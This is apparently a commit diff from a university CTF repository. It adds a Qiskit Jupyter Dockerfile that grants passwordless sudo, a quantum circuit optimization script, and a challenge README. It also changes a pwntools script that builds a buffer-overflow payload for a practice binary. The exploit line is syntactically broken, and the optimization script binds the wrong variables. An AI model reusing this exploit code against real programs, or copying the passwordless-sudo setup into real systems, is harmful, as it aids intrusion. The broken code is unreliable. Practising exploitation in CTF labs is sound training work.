updates

Unibw 2023/misc/quantum/Dockerfile

@@ -0,0 +1,92 @@
+FROM debian:buster-slim
+MAINTAINER Sergio Martinez-Losa
+
+ENV DEBIAN_FRONTEND noninteractive
+
+ENV QISKIT_USER=qiskit
+
+# Optional: set your IBM QISKIT API TOKEN HERE
+#ENV QISKIT_API_TOKEN="UPDATE_THIS_API_TOKEN"
+
+# CREATE NEW USER
+RUN useradd --create-home -s /bin/bash $QISKIT_USER
+
+ENV QISKIT_DIR=/home/$QISKIT_USER
+
+COPY requirements.txt $QISKIT_DIR
+
+RUN apt-get update && apt-get upgrade -y
+RUN apt-get install -y build-essential poppler-utils texlive-latex-base texlive-latex-extra libopenblas-dev \
+                       sudo unzip wget nano poppler-utils cmake git libssl-dev zlib1g-dev libncurses5-dev libgdbm-dev \
+                       libnss3-dev libssl-dev libreadline-dev libffi-dev curl python3-pip python3-dev
+
+WORKDIR $QISKIT_DIR
+
+RUN mkdir -p qiskit-jupyter
+
+ENV PIP_DISABLE_PIP_VERSION_CHECK=1
+RUN pip3 install pip==20.3.1
+RUN pip install -r requirements.txt
+
+# INSTALL EACH COMPONENT OF QISKIT FROM SOOURCE ONE BY ONE, developers ONLY!!!! (Advanced) UNSTABLE
+RUN pip install cython
+RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-terra.git
+RUN cd qiskit-terra && pip install -r requirements-dev.txt && pip install -e .
+
+RUN pip install scikit-build
+RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-aer
+RUN cd qiskit-aer &&  pip install -e .
+
+RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-ignis.git
+RUN cd qiskit-ignis && pip install -r requirements-dev.txt && pip install -e .
+
+RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-ibmq-provider.git
+RUN cd qiskit-ibmq-provider && pip install -r requirements-dev.txt && pip install -e .
+
+RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-aqua.git
+RUN cd qiskit-aqua && pip install -r requirements-dev.txt && pip install -e .
+
+RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-nature.git
+RUN cd qiskit-nature && pip install -r requirements-dev.txt && pip install -e .
+
+RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-optimization.git
+RUN cd qiskit-optimization && pip install -r requirements-dev.txt && pip install -e .
+
+RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-finance.git
+RUN cd qiskit-finance && pip install -r requirements-dev.txt && pip install -e .
+
+RUN pip install qiskit-machine-learning[torch]
+RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-machine-learning.git
+RUN cd qiskit-machine-learning && pip install -r requirements-dev.txt && pip install -e .
+
+RUN pip install -I git+https://github.com/qiskit-community/Quantum-Challenge-Grader.git
+
+# FINISHING PACKAGES
+RUN pip install keras pandas xlrd seaborn scikit-learn matplotlib opencv-python tqdm pillow pennylane pennylane-qiskit \
+                image scipy regex cffi qasm2image pylatexenc tikz2graphml kaleidoscope plotly==4.14.1 jupyterlab --use-deprecated=legacy-resolver
+
+# Install qiskit textbook
+RUN cd $QISKIT_DIR && git clone https://github.com/Qiskit/qiskit-textbook
+RUN cd qiskit-textbook && git checkout stable && pip install -r requirements.txt
+
+# Optional, install pennylane QML
+RUN python3 -m pip install pennylane --upgrade && \
+    python3 -m pip install pennylane-forest pennylane-qiskit pennylane-sf pennylane-qsharp \
+                           pennylane-cirq pennylane-honeywell amazon-braket-pennylane-plugin qulacs pennylane-qulacs \
+                           pennylane-orquestra pennylane-aqt pennylane_pq qsimcirq
+
+# SET ROOT PERMISSION FOR ALL USERS
+RUN chown -R $QISKIT_USER:$QISKIT_USER /home/$QISKIT_USER/
+RUN usermod -aG sudo $QISKIT_USER
+RUN echo '%sudo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
+
+# CHANGE TO NEW USER
+USER $QISKIT_USER
+
+# RUN JUPYTER ON PORT 8889
+CMD [ "jupyter" , "notebook",  "--ip=0.0.0.0", "--port=8889", "--notebook-dir=./qiskit-jupyter", "--no-browser" ]
+
+# Get the jupyter token : docker logs -f <NAME_OF_THIS_IMAGE>
+
+# This image can be run as (update the token value)
+# docker run -p 8889:8889 -it --env QISKIT_API_TOKEN="your_api_token" <NAME_OF_THIS_IMAGE>:TAG

Unibw 2023/misc/quantum/test.py

@@ -0,0 +1,47 @@
+from qiskit import QuantumCircuit, Aer, transpile, assemble
+from qiskit.aqua.components.optimizers import COBYLA
+from qiskit.circuit import Parameter
+import numpy as np
+
+# Define the desired probability distribution
+target_probs = [0.1666666666] * 6
+
+# Define the quantum circuit
+circ = QuantumCircuit(6, 6)
+circ.h(range(6))
+
+# Add the parameterized Ansatz using Parameter
+params = [Parameter(f'var{i}') for i in range(6)]
+circ.rx(params[0], 0)
+circ.rx(params[1], 1)
+circ.rx(params[2], 2)
+circ.rx(params[3], 3)
+circ.rx(params[4], 4)
+circ.rx(params[5], 5)
+
+
+# Define the optimization objective function
+def objective_function(params):
+    # Update the circuit with new parameters
+    updated_circ = circ.bind_parameters({params[i]: optimal_params[i] for i in range(6)})
+
+    # Compile and run the circuit
+    t_circ = transpile(updated_circ, Aer.get_backend('qasm_simulator'))
+    qobj = assemble(t_circ)
+    result = Aer.get_backend('qasm_simulator').run(qobj).result()
+
+    # Calculate the probability distribution
+    counts = result.get_counts()
+    probs = [counts.get(format(i, '06b'), 0) / result.shots for i in range(2 ** 6)]
+
+    # Calculate the objective function (sum of squared differences)
+    return sum((probs[i] - target_probs[i]) ** 2 for i in range(2 ** 6))
+
+
+# Optimize the circuit parameters
+optimizer = COBYLA(maxiter=1000)
+optimal_params = optimizer.optimize(num_vars=6, objective_function=objective_function)
+
+# Print the optimal parameters
+print("Optimal Parameters:", optimal_params)
+

Unibw 2023/rev pwn/Baby Cyberdyne/ape.py

@@ -1,20 +1,24 @@
 from pwn import *
-elf = ELF(os.getcwd() + "/0d2dd2de6fc66a1b0e38dc299e38e0da")
+elf = ELF(os.getcwd() + "/baby")
 
 gs = '''
 unset env LINES
 unset env COLUMNS
 set follow-fork-mode child
-br *handle_conn+631
-# br *main+420
+# br *0x5663c4b8
+br gets
 continue
 '''
 
 def start():
     if args.GDB:
-        return gdb.debug([elf.path], gs)
+        return gdb.debug(elf.path, gs)
     else:
         return process([elf.path])
 
-io = start()
-io.sendline()
+# io = start()
+# input("waiting...")
+OFFSET = 0x56555000
+with open("input", "wb+") as f:
+    f.write(b'A'*42 + p32(1) + p32(0xd34db33f) + cyclic(cyclic_find('caaa')) + p32(OFFSET + ^))
+# io.interactive

Unibw 2023/rev pwn/Hide and Seek/README.md

@@ -0,0 +1,16 @@
+Hide and Seek
+
+General Ashdown is bored of hiding his ass. He wants some action, but not the dangerous kind ... more some action like watching a duck swim.
+
+9c6600421a497cfaf89a336e0cef2357
+
+Hint: The challenge is build with for glibc (2.36-9) 2.36. If your terminal is crashing or hanging during execution, preload the needed libc or maybe better, just use docker, e.g.:
+
+# Dockerfile
+FROM debian:bookworm
+
+COPY ./9c6600421a497cfaf89a336e0cef2357 /
+
+Build with: docker build -t chall .
+
+Run with: docker run --name chall --rm -it chall bash